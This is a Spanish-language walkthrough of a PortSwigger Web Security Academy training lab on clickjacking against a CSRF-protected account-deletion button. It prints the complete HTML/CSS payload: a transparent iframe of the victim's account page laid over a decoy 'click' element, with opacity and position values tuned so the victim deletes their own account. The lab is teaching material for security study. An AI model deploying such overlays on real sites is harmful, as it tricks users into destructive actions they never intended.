Basic clickjacking with CSRF token protection

Portswigger Lab writeup » Basic clickjacking with CSRF token protection

Descripción

This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word «click» on a decoy website.

To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.

You can log in to your own account using the following credentials: wiener:peter

Basic clickjacking with CSRF token protection writeup

Al entrar en el laboratorio veremos un blog. Entraremos en ‘My account’ e iniciaremos sesión con el usuario ‘wiener’ y la contraseña ‘peter’. Al hacerlo veremos lo siguiente:

Tendremos que hacer que la víctima pulse en el ‘Delete account’ de su cuenta (dado que no podemos hacerlo nosotros por ella porque la acción tiene el token de protección CSRF). Para ello copiaremos la URL e iremos a ‘Go to exploit server’:

Aquí, en ‘Body’ insertaremos el siguiente código:

<style>
    iframe {
        position:relative;
        width:1500px;
        height:680px;
        opacity: 0.5;
        z-index: 9999;
    }
    div {
        position:absolute;
        bottom: 150px;
        left: 200px;
        z-index: 99;
    }
</style>
<div>click</div>
<iframe src="https://0a6c0080043ba63dd12c338e003a00dd.web-security-academy.net/my-account"></iframe>

El código lo que hace es lo siguiente:

1. Crea un iframe (una ventana) con el ‘My account’ de la víctima.
2. Crea un contenedor con la palabra ‘click’, que es donde va a pinchar la víctima según la descripción.
3. Pone la palabra click debajo de la ventana creada (z-index).
4. Hace que la ventana creada sea transparente (opacity).
5. Pone la palabra ‘click’ justo encima del botón de ‘Delete account’.

Nota: Se ha usado opacity 0.5 hasta que se entregó el exploit a la víctima, que se usó el valor 0.21.

Al pulsar ‘Deliver exploit to victim’ completaremos el laboratorio:

Nota: Pese a que esté perfectamente alineados en la foto, la resolución de la pantalla de la víctima puede hacer que se desalineen. Para ello se pueden probar los siguientes valores:

• La solución de PortSwigger:
  • width:700x; height:500px;
  • top: 300px; left: 60px;
• La solución que me funcionó a mí (aunque no me aparecían alineados):
  • width:1000px; height:700px;
  • top: 515px; left: 60px;